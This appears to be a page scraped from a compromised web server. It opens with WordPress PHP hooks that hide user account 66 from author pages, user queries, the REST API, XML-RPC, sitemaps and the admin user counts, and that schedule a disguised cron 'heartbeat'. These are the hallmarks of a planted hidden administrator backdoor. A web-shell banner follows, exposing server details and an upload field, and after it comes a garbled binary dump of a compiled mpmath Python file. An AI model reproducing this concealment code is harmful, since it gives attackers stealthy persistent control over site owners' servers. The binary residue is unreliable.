add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/python3/dist-packages/mpmath/__pycache__/ |
Upload File : |
�
�"`b� � � � d dl mZmZ d dlmZmZmZmZmZm Z m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZBmCZCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZLmMZMmNZNmOZOmPZPmQZQmRZRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZ d dlZm[Z[ d dlZm\Z\ e]j� Z_ G d� de]� Z` G d� de`� Zad Zbd
ZcdZddec�d
ed�d�Zed3d�Zf efdddd� ea_g efddecz decz dedz � ea_h efddecz decz dedz � ea_i efddecz decz dedz � ea_j efd d!ecz d"ecz d#edz � ea_k efd$d%ecz d&ecz d'� ea_l efd(eed)ecz d*edz � ea_m eaj� ea_n eaj� ea_o eaj� ea_p eaj� ea_r G d+� d,ea� Zs G d-� d.e`� ZteuetfZv G d/� d0e]� Zw d1d2lxZxexj� j� et� exj� j� ea� y2# e|$ r Y y2w xY w)4� )�
basestring�exec_)W�MPZ�MPZ_ZERO�MPZ_ONE� int_types�repr_dps�round_floor�
round_ceiling�dps_to_prec�
round_nearest�prec_to_dps�
ComplexResult�to_pickable�
from_pickable� normalize�from_int�
from_float�from_npfloat�from_Decimal�from_str�to_int�to_float�to_str�
from_rational�from_man_exp�fone�fzero�finf�fninf�fnan�mpf_abs�mpf_pos�mpf_neg�mpf_add�mpf_sub�mpf_mul�mpf_mul_int�mpf_div�mpf_rdiv_int�mpf_pow_int�mpf_mod�mpf_eq�mpf_cmp�mpf_lt�mpf_gt�mpf_le�mpf_ge�mpf_hash�mpf_rand�mpf_sum�bitcount�to_fixed�
mpc_to_str�mpc_to_complex�mpc_hash�mpc_pos�mpc_is_nonzero�mpc_neg�
mpc_conjugate�mpc_abs�mpc_add�mpc_add_mpf�mpc_sub�mpc_sub_mpf�mpc_mul�mpc_mul_mpf�mpc_mul_int�mpc_div�mpc_div_mpf�mpc_pow�mpc_pow_mpf�mpc_pow_int�mpc_mpf_div�mpf_pow�mpf_pi�
mpf_degree�mpf_e�mpf_phi�mpf_ln2�mpf_ln10� mpf_euler�mpf_catalan� mpf_apery�mpf_khinchin�mpf_glaisher�
mpf_twinprime�mpf_mertensr )�rational)�
function_docsc � � e Zd ZdZg Zd� Zy)� mpnumericzBase class for mpf and mpc.c � � t ��N)�NotImplementedError)�cls�vals �6/usr/lib/python3/dist-packages/mpmath/ctx_mp_python.py�__new__zmpnumeric.__new__$ s � �!�!� N)�__name__�
__module__�__qualname__�__doc__� __slots__re � rf rd r^ r^ ! s � �%��I�"rf r^ c �p � e Zd ZdZdgZefd�Zed� � Zed� � Z ed� � Z
ed� � Z ed� � Z
ed � � Z ed
� � Z ed� � Z ed� � Zd
� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� ZeZd� Zd� Zd� Z d� Z!d� Z"d� Z#d� Z$d� Z%d � Z&d!� Z'd"� Z(d#� Z)d$� Z*d%� Z+d&� Z,d+d(�Z-d)� Z.d*� Z/y'),�_mpfz�
An mpf instance holds a real-valued floating-point number. mpf:s
work analogously to Python floats, but support arbitrary-precision
arithmetic.
�_mpf_c � � | j j \ }}|r6|j d|� }d|v rt |d � }|j d|� }t |� | u r9|j
\ }}}}|s|r|S t
| � } t ||||||� | _ | S t |� t u rzt |� dk( r&t
| � } t |d |d ||� | _ | S t |� dk( r2|\ }}}}t
| � } t |t |� ||||� | _ | S t �t
| � } t | j |||� ||� | _ | S )z�A new mpf can be created from a Python float, an int, a
or a decimal string representing a number in floating-point
format.�prec�dps�rounding� � r � )�context�_prec_rounding�getr �typero �newr �tuple�lenr r �
ValueErrorr# �mpf_convert_arg)
rb rc �kwargsrq rs �sign�man�exp�bc�vs
rd re z_mpf.__new__/ sN � � ���3�3���h���:�:�f�d�+�D����"�6�%�=�1���z�z�*�h�7�H���9���!$����D�#�s�B��S��
��C��A���c�3��D�(�C�A�G��H�
�#�Y�%�
��3�x�1�}���H��&�s�1�v�s�1�v�t�X�F������3�x�1�}�%(�"��c�3����H��#�D�#�c�(�C��T�8�L��������C��A��c�1�1�#�t�X�F��h�W�A�G��Hrf c �b � t |t � rt |� S t |t � rt |� S t |t
� r
t
|||� S t || j j � r|j ||� S t |d� r|j S t |d� rC| j j |j ||� � }t |d� r|j S t |d� r!|j \ }}||k( r|S t d� �t! dt# |� z � �)Nro �_mpmath_�_mpi_z,can only create mpf from zero-width interval�cannot create mpf from )�
isinstancer r �floatr r r rw �constant�func�hasattrro �convertr� r� r~ � TypeError�repr)rb �xrq rs �t�a�bs rd r z_mpf.mpf_convert_argP s� � ��a��#�H�Q�K�%7��a���
�1�
�!5��a��$�X�a��x�-H�&H��a����-�-�.�q�v�v�d�H�7M�0M��1�g��q�w�w���1�j�!����#�#�A�J�J�t�X�$>�?�A��q�'�"��w�w���1�g���7�7�D�A�q��A�v����K�L�L��1�D��G�;�<�<rf c �X � t |t � rt |� S t |t � rt |� S t |t
� r| j j |� S t |t j � r0|j \ }}t ||| j j � S t |d� r|j S t |d� rV| j j |j | j j"